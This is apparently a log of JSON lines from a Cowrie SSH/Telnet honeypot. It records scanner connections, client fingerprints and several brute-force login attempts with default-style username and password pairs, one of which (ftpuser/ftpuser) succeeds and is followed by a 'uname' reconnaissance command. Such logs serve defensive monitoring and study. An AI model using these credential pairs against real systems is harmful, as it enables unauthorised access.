{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:04.525927Z","src_ip":"147.45.199.80","session":"94976c6ed44f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.35318660736084,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:04.638984Z","src_ip":"152.42.224.71","session":"31a50a0eed3b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111a","message":"login attempt [root/11111111a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:04.815085Z","src_ip":"147.45.199.80","session":"94976c6ed44f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":40588,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f1f8e5b4aab","protocol":"ssh","message":"New connection: 101.36.108.213:40588 (159.203.135.109:22) [session: 6f1f8e5b4aab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:04.925103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:04.932275Z","src_ip":"101.36.108.213","session":"6f1f8e5b4aab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:04.982860Z","src_ip":"31.40.204.166","session":"6e47581e7dcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:05.159197Z","src_ip":"101.36.108.213","session":"6f1f8e5b4aab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:05.919140Z","src_ip":"147.45.199.80","session":"94976c6ed44f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"*&#@#&%","message":"login attempt [root/*&#@#&%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:06.081390Z","src_ip":"101.36.108.213","session":"6f1f8e5b4aab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:07.322539Z","src_ip":"101.36.108.213","session":"6f1f8e5b4aab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47612,"dst_ip":"10.17.0.5","dst_port":23,"session":"12de89880e68","protocol":"telnet","message":"New connection: 152.42.224.71:47612 (10.17.0.5:23) [session: 12de89880e68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:10.479399Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41670,"dst_ip":"159.203.135.109","dst_port":22,"session":"775be5ea7607","protocol":"ssh","message":"New connection: 31.40.204.166:41670 (159.203.135.109:22) [session: 775be5ea7607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:16.283114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:16.314952Z","src_ip":"31.40.204.166","session":"775be5ea7607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:16.411911Z","src_ip":"31.40.204.166","session":"775be5ea7607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:16.990199Z","src_ip":"31.40.204.166","session":"775be5ea7607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:18.118327Z","src_ip":"31.40.204.166","session":"775be5ea7607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":40988,"dst_ip":"159.203.135.109","dst_port":22,"session":"95a152dba19e","protocol":"ssh","message":"New connection: 43.134.228.151:40988 (159.203.135.109:22) [session: 95a152dba19e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:20.931020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:20.935827Z","src_ip":"43.134.228.151","session":"95a152dba19e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:21.178462Z","src_ip":"43.134.228.151","session":"95a152dba19e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maxmax","message":"login attempt [root/maxmax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:22.168346Z","src_ip":"43.134.228.151","session":"95a152dba19e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57964,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a6a2a0138ef","protocol":"telnet","message":"New connection: 152.42.224.71:57964 (10.17.0.5:23) [session: 9a6a2a0138ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:22.354810Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.227.3","src_port":33590,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2afd709e27b","protocol":"ssh","message":"New connection: 43.156.227.3:33590 (159.203.135.109:22) [session: a2afd709e27b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:22.590526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:22.595587Z","src_ip":"43.156.227.3","session":"a2afd709e27b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:22.833221Z","src_ip":"43.156.227.3","session":"a2afd709e27b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:23.411313Z","src_ip":"43.134.228.151","session":"95a152dba19e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maxmax","message":"login attempt [root/maxmax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:23.815608Z","src_ip":"43.156.227.3","session":"a2afd709e27b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:25.056913Z","src_ip":"43.156.227.3","session":"a2afd709e27b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57978,"dst_ip":"10.17.0.5","dst_port":23,"session":"8100cd9544c3","protocol":"telnet","message":"New connection: 152.42.224.71:57978 (10.17.0.5:23) [session: 8100cd9544c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:25.571821Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59600,"dst_ip":"10.17.0.5","dst_port":23,"session":"133f29025bf9","protocol":"telnet","message":"New connection: 152.42.224.71:59600 (10.17.0.5:23) [session: 133f29025bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:26.942233Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37066,"dst_ip":"159.203.135.109","dst_port":22,"session":"511f8f56b74d","protocol":"ssh","message":"New connection: 31.40.204.166:37066 (159.203.135.109:22) [session: 511f8f56b74d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:29.082220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:29.099565Z","src_ip":"31.40.204.166","session":"511f8f56b74d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:29.214954Z","src_ip":"31.40.204.166","session":"511f8f56b74d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:29.786077Z","src_ip":"31.40.204.166","session":"511f8f56b74d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:30.169521Z","src_ip":"31.40.204.166","session":"511f8f56b74d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:30.173304Z","src_ip":"31.40.204.166","session":"511f8f56b74d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:30.395915Z","src_ip":"31.40.204.166","session":"511f8f56b74d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:30.402196Z","src_ip":"31.40.204.166","session":"511f8f56b74d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.14223074913025,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:30.621507Z","src_ip":"152.42.224.71","session":"12de89880e68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.539017915725708,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:32.893715Z","src_ip":"152.42.224.71","session":"9a6a2a0138ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59614,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e8b8d16ada2","protocol":"telnet","message":"New connection: 152.42.224.71:59614 (10.17.0.5:23) [session: 8e8b8d16ada2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:33.217419Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":57274,"dst_ip":"159.203.135.109","dst_port":22,"session":"fccf682513d3","protocol":"ssh","message":"New connection: 94.230.136.33:57274 (159.203.135.109:22) [session: fccf682513d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:33.975884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:33.981241Z","src_ip":"94.230.136.33","session":"fccf682513d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:34.133793Z","src_ip":"94.230.136.33","session":"fccf682513d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123456#","message":"login attempt [root/admin123456#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:34.775860Z","src_ip":"94.230.136.33","session":"fccf682513d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:35.931751Z","src_ip":"94.230.136.33","session":"fccf682513d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37750,"dst_ip":"10.17.0.5","dst_port":23,"session":"144cd92fce70","protocol":"telnet","message":"New connection: 152.42.224.71:37750 (10.17.0.5:23) [session: 144cd92fce70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:39.175955Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37762,"dst_ip":"10.17.0.5","dst_port":23,"session":"4477abb582b7","protocol":"telnet","message":"New connection: 152.42.224.71:37762 (10.17.0.5:23) [session: 4477abb582b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:39.427592Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41770,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ab9e6b3e00f","protocol":"ssh","message":"New connection: 31.40.204.166:41770 (159.203.135.109:22) [session: 1ab9e6b3e00f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:41.587847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:30:41.605155Z","src_ip":"31.40.204.166","session":"1ab9e6b3e00f","protocol":"ssh"}
